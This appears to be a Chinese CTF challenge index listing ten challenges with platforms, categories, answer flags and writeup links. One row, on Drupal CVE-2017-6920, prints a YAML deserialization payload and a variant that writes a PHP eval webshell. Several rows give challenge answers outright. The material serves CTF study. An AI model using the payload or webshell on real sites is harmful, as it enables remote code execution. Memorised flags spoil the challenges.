[标题搜索]只能搜索题目标题，[综合搜索]支持多关键词多项目搜索（以空格分隔）。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | ctfshow | WEB.大吉大利杯 | veryphp | 21475 | https://www.cnblogs.com/erR0Ratao/p/1... | 大吉大利杯 | 3734 |
| 2 | bugku | Crypto | Golden Ticket | 无 | https://vaktibabat.github.io/posts/idek_2024/ | idekCTF2024 | 2751 |
| 3 | BUUCTF | Misc | [MRCTF2020]pyFlag | flag{Y0u_Are_4_p3rFect_dec0der} | https://cloud.tencent.com/developer/a... | MRCTF2020 | 6990 |
| 4 | NSSCTF | PHP | [GKCTF 2020]ez三剑客-eztypecho | 无 | https://blog.csdn.net/qq_43571759/art... | GKCTF | 12189 |
| 5 | NSSCTF | SSRF | [羊城杯 2020]easyser | {Trump_:"fake_news!"} | https://blog.csdn.net/LYJ20010728/art... | 羊城杯 | 10910 |
| 6 | 春秋云境 | WEB | CVE-2017-6920 | Drupal版本小于8.3.4时，可通过在后台配置导入处提交YAML反序列化Payload实现远程代码执行。典型的验证Payload为：!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"，导入后执行phpinfo函数即证明漏洞存在 1。在CTF题目中，常利用该反序列化链写入Webshell，例如使用自定义类：!php/object O:3:"log":2:{s:8:"filename";s:5:"1.php";s:7:"content";s:24:"<?php eval($_POST [1](@ref));?>";}。 | https://www.cnblogs.com/J1eula/p/1769... | 春秋云境 | 14748 |
| 7 | qsnctf | OSINT | 李华的常用密码 | LH980405 | https://blog.csdn.net/apple_61730297/... | 原创题 | 5756 |
| 8 | bugku | WEB | SSTI 0 | flag{...} | https://ctf.bugku.com/writeup/detail/... | SecurinetsChristmasCTF2022 | 1992 |
| 9 | BUUCTF | Crypto | [DASCTF X GFCTF 2022十月挑战赛！]Recover Secret | DASCTF{Wh0_kn0w_d4t_3s3_mpz3} | https://blog.csdn.net/jxnu_666/articl... | DASCTF X GFCTF 2022十月挑战赛！ | 6411 |
| 10 | NSSCTF | MISC | [强网拟态 2023 final]Git gud | flag{834394be352d420b91e164fcb1346f74} | https://blog.csdn.net/OrientalGlass/a... | 强网拟态 | 13140 |